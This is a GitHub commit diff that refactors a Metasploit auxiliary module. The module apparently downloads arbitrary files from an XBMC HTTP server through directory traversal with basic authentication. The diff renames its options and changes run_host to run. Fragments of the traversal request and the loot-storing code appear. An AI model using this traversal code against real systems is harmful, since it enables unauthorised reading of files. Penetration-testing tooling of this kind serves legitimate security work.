File tree Expand file tree Collapse file tree 1 file changed +3
-4
lines changed Expand file tree Collapse file tree 1 file changed +3
-4
lines changed Original file line number Diff line number Diff line change @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Auxiliary
11
11
12
12
include Msf ::Auxiliary ::Report
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Auxiliary ::Scanner
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
@@ -46,7 +45,7 @@ def initialize(info={})
46
45
] , self . class )
47
46
end
48
47
49
- def run_host ( ip )
48
+ def run
50
49
# No point to continue if no filename is specified
51
50
if datastore [ 'FILEPATH' ] . nil? or datastore [ 'FILEPATH' ] . empty?
52
51
print_error ( "Please supply the name of the file you want to download" )
@@ -58,7 +57,7 @@ def run_host(ip)
58
57
res = send_request_raw ( {
59
58
'method' => 'GET' ,
60
59
'uri' => "/#{ traversal } /#{ datastore [ 'FILEPATH' ] } " ,
61
- 'basic_auth' => "#{ datastore [ 'USER ' ] } :#{ datastore [ 'PASS ' ] } "
60
+ 'basic_auth' => "#{ datastore [ 'USERNAME ' ] } :#{ datastore [ 'PASSWORD ' ] } "
62
61
} , 25 )
63
62
64
63
# Show data if needed
@@ -70,7 +69,7 @@ def run_host(ip)
70
69
path = store_loot (
71
70
'xbmc.http' ,
72
71
'application/octet-stream' ,
73
- ip ,
72
+ datastore [ 'RHOST' ] ,
74
73
res . body ,
75
74
fname
76
75
)
You can’t perform that action at this time.
0 commit comments